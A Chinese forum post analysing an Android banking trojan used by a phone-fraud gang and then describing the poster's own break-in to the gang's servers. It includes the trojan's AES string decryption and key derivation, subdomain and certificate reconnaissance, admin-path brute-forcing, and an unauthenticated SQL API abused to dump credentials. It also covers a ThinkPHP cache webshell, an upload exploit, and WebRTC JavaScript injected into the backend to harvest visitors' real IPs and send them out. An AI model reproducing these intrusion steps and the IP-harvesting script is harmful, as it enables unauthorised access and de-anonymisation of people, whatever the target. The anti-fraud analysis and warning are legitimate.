新人第一次发帖,如果有什么错误请告知!
前几天朋友给了一份apk木马让我分析看看
直接放到dex2jar里面跑一下
简单信息
CBRC
Ver:1.0(1)
Package:com.sbr.chidi7.bvd1
SDKVer:8
TargetSDKVer:
Support-Screens:small normal large
发现所有变量都采用了加密
然后找了一下发现了解密方法
[Java] 纯文本查看 复制代码 private static byte[] decode(byte[] paramArrayOfbyte, String paramString) {
try {
SecretKeySpec secretKeySpec = new SecretKeySpec(paramString.getBytes(), "AES");
Cipher cipher = Cipher.getInstance("AES");
cipher.init(2, secretKeySpec);
return cipher.doFinal(paramArrayOfbyte);
} catch (Exception exception) {
exception.printStackTrace();
return null;
}
}
发现是ase加密 需要找一下解密密钥globalPass
往上翻了翻找到了
又发现密钥使用了encodeToMD516加密
[Java] 纯文本查看 复制代码 private static String encodePass(String paramString) {
return encodeToMD516(paramString).toLowerCase();
}
往下查找encodeToMD51
[Java] 纯文本查看 复制代码 public static String encodeToMD516(String paramString) {
return encodeToMD5(paramString).substring(8, 24);
}
发现密钥是md5加密取8到24位16字符
b768e64a0bb611cf
他的解密过程就是
ScKit-311005e8a0ecf5f58652705a6816d825d1d0c2094d678ea7f476850d379475b8f2c69841aaa8ce2d7085ab17f7613b79
取红色区域然后使用ase-ecb解密
加密的变量太多,一个一个跑太慢 ,直接上fd抓包
发现了两条通信网址
1.
浏览器访问是一个钓鱼界面
2.
每秒都在请求
浏览器访问报错
[Java] 纯文本查看 复制代码 org.springframework.web.util.NestedServletException: Request processing failed; nested exception is java.lang.NullPointerException
org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:973)
org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:852)
javax.servlet.http.HttpServlet.service(HttpServlet.java:624)
org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:837)
javax.servlet.http.HttpServlet.service(HttpServlet.java:731)
org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)
org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:88)
org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107)
root cause
然后我又跑回去解密变量看看有啥发现,一点有用的信息都没有,唯一的一点发现里面信息提示都是繁体字
至此app分析到此,没有任何头绪,
然后换了思路搜索一下/WebMobileD1/phoneajax/index.do url
找到了https://www.52pojie.cn/thread-1160084-1-1.html这个帖子
看了一下 发现跟我这个木马是一个家族只不过更新了一下混淆+加密变量
我就不在重复一遍这个木马的危害性了。
然后有了服务器ip地址该做什么了?当然搞他了。
首先尝试分析钓鱼页面 ****.com/d1/ 走了一遍流程后
1.****.com/d1/index.php 钓鱼首页
2.****.com/d1/BANK.php选择银行
3.****.com/d1/FORM.php 输入个人银行信息
最后提交给****.com/d1/OK.php 存储
尝试了注入无解,然后尝试了查询服务器ip端口 发现开启了8080 然后在ip后面加上端口访问
发现tomcat后台文件被删除 暴力破解就没有办法了,然后尝试使用Ladon扫描,没有发现任何有用的信息。
我当时的感觉是到此为止了,然后又想起来了如果这是一个团队作案,指定会有以前的痕迹,然后尝试扫描已知域名的二级域名,被我发现了一个的二级域名解析,解析时间也相近
由于已知木马的服务器ip 发现这个ip跟木马服务器ip一致
然后尝试了访问这个域名发现显示404,进展不好目前所收集的信息
[Java] 纯文本查看 复制代码
木马服务器ip *.*.*.*79已知网址 https://web.*****.com/d1 (钓鱼页面)
未知网址 http://app.*****.com(推测是下载木马的域名)
这些信息没啥卵用,然后灵机一动发现钓鱼页面是证书,那么为什么app这个不带域名证书呢,然后我加了s去访问查看域名证书详细又发现了一个新的域名
虽然过期了,但是他们曾经使用过
然后查询这个域名最近一段时间的解析记录发现了另外一个服务器ip
*.*.*.*72
这个ip地址跟木马服务器ip是同段的,感觉是同一机房的几率较大
然后搜索这个服务器ip关联记录发现了好多域名,有很多二级域名头跟钓鱼网址一致,可以判断这台服务器就是他们之前使用的服务器。
然后尝试扫描域名发现了俩个还在运行的网站
h****.******.vip----*.*.*.*72(zj盘)
******.vip-----*.*.*.*72(xnb盘)
然后尝试报错看看有没有开启错误提示,发现了zj盘是tp3.1.3 xnb盘是tp6.0
尝试了已知的tp注入都没有好使,然后尝试zj盘和xnb盘后台路径爆破
得到了h****.******.vip/admin.php
尝试了一翻发现进度不理想,然后利用了我们万能的搜索引擎。
找到了类型的源码,随便找了一份下载。
尝试同资源文件比对,发现是同一份源码,
那么就尝试登录一下安装教程里的账户密码,发现前台能登录
但是没有什么注入点,找到了KindEditor上传但是已经是4.1.7版本,没有了上传漏洞。
进度就尴尬到这了,最后没办法了只能尝试这份源码有未知的后门,尝试用护卫*扫描,发现真干净什么也没有,那怕误报都没有。
只能审计代码了,发现一个sql查询不需要权限的api
[PHP] 纯文本查看 复制代码
/**
* 异步获取数据返回Json
* @Param [string] $sTable [表名]
* @Param [string] $sIndexColumn [主键名]
* @param [array] $aColumns [查询的字段]
* @Return [json] []
*/
public function get($sTable,$sIndexColumn,$aColumns=['logtime','logaccount']){
那么如果已知数据库表名 加上要查询的字段是不是就可以返回了mysql数据?
然后尝试了一下 发现真的可以,那么我直接就查询了后台账户表名 返回了账户和密码
密码一看就是md5加密,找到网站破解 得到了8位数字密码
使用前文说到的后台地址直接登入了后台。
然后尝试tp3.1.3缓存生成shell 发现可以,那么就直接就上菜刀,链接成功后传了哥斯拉
链接成功后发现木马的源码、钓鱼的源码(前面说到扫描了端口有个端口让我相当耳目一新8888,目测是bt),
然后尝试修改资源文件,使用木马服务器ip访问发现不存在,那就证明我已经拿到手的服务器跟木马服务器不是同一个。
其实到这已经可以不用进行下去了,信息收集的差不多了。
木马源代码
钓鱼源代码
访问日志
但是我还是要尝试一下,所以去审计了木马的源代码发现一个上传文件的漏洞,在木马服务器尝试上传发现成功,那么木马服务器也已经到手了。
/www/server/tomcat/logs/ 提取访问日志,发现都是梯子访问的 没有真实ip,然后让我想到了在论坛看到某bt使用WebRTC获取真实ip的帖子,那么我也可以啊然后使用js写了一段获取ip的代码
[Java] 纯文本查看 复制代码 function getUserIP(onNewIP) {
var myPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
var pc = new myPeerConnection({iceServers: [{urls: "stun:stun.l.google.com:19302"}]}),
noop = function() {},
localIPs = {},
ipRegex = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/g,
key;
function ipIterate(ip) {
if (!localIPs[ip]) onNewIP(ip);
localIPs[ip] = true;
}
pc.createDataChannel("");
pc.createOffer(function(sdp) {
sdp.sdp.split('\n').forEach(function(line) {
if (line.indexOf('candidate') < 0) return;
line.match(ipRegex).forEach(ipIterate);
});
pc.setLocalDescription(sdp, noop, noop);
}, noop);
pc.onicecandidate = function(ice) {
if (!ice || !ice.candidate || !ice.candidate.candidate || !ice.candidate.candidate.match(ipRegex)) return;
ice.candidate.candidate.match(ipRegex).forEach(ipIterate);
};
}
getUserIP(function(ip){
var url="收集ip地址"+ip;
var xmlhttp1=new XMLHttpRequest();
xmlhttp1.open("GET", url, true);
xmlhttp1.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xmlhttp1.send(null);
});
然后把这段js放到了木马后台top.jsp里,就在收集ip地址上等着信息了
没过几秒钟就发现ip信息来了
短短几分钟已经有7 80条ip信息了,更加证明这是一个团伙。
至此把我所收集的信息全部发给了朋友。
别看我说的过程很简单,其实太费时间了,从开始分析apk开始到结束用了5天时间,期间尝试注入就遇到了很多问题,tp3.1.3已知的漏洞根本不好使,我又去分析了tp框架源码才找到了一个可以getshell的漏洞,由于还没有公开,所以我就没有详细介绍这段的过程。
上篇文章我看到有人在问国内魔改系统还会不会改通信录,其实是可以的,他不是单单这一个木马,从我收集的来看至少10多个木马。
从我收集的信息来看 我个人认为这是一个电诈团队,幕后老板和木马维护团队在台湾省,电服团队在印尼。
骗人流程:
1.冒充公检法说你银行账户异常,需要提供下载app提供银行资料,受害者相信后,下载了app,这个时候你已经中了木马,手机信息,通信录已经被上传到了木马后台。
2.然后骗子在后台看到你提交的银行信息后,在后台设置好你的通信录,和隐藏指定的号码短信。
3.然后利用你提交的银行信息执行转账或者购买充值卡,正常来说你应该收到银行转账的短信,但是已经被骗子的木马拦截了,你根本不知道,还在苦苦等待,在你等待的时候银行卡里的钱早就没有了。
受害群众多数是留学生、老人、香港、澳门地区人群。
先定位受害群众个人信息,然后冒充定位好的部门,如果受害者是yq地区那么就发送yq提示短信,让受害者下载app,然后利用特定话术开始打电话,当你信任了骗子第一步那么你就步入了骗子给你编造好的结局。
而就怕你感觉你被骗就是结局了,其实远远不是,我分析木马发现还有个功能是群发短信,如果骗子用你的手机群发短信给你通信录里的朋友、同学、亲戚,那么上当的不单单是你一个,那会是一个很庞大的分散的局。
所以我想说大家一定要下载国家反诈app,不要盲目相信短信和电话下载未知app,只要涉及转账汇款一定要小心!
所以我想说大家一定要下载国家反诈app,不要盲目相信短信和电话下载未知app,只要涉及转账汇款一定要小心!
所以我想说大家一定要下载国家反诈app,不要盲目相信短信和电话下载未知app,只要涉及转账汇款一定要小心!
可以明确看到可以添加手机通讯录
可以看到可以设置 拨打姓名 拨打号码 然后转接的号码 这个功能就是你想打123 但是真实打的是456
利用你的手机给任意人发送短信
此次揭秘到此为止!
|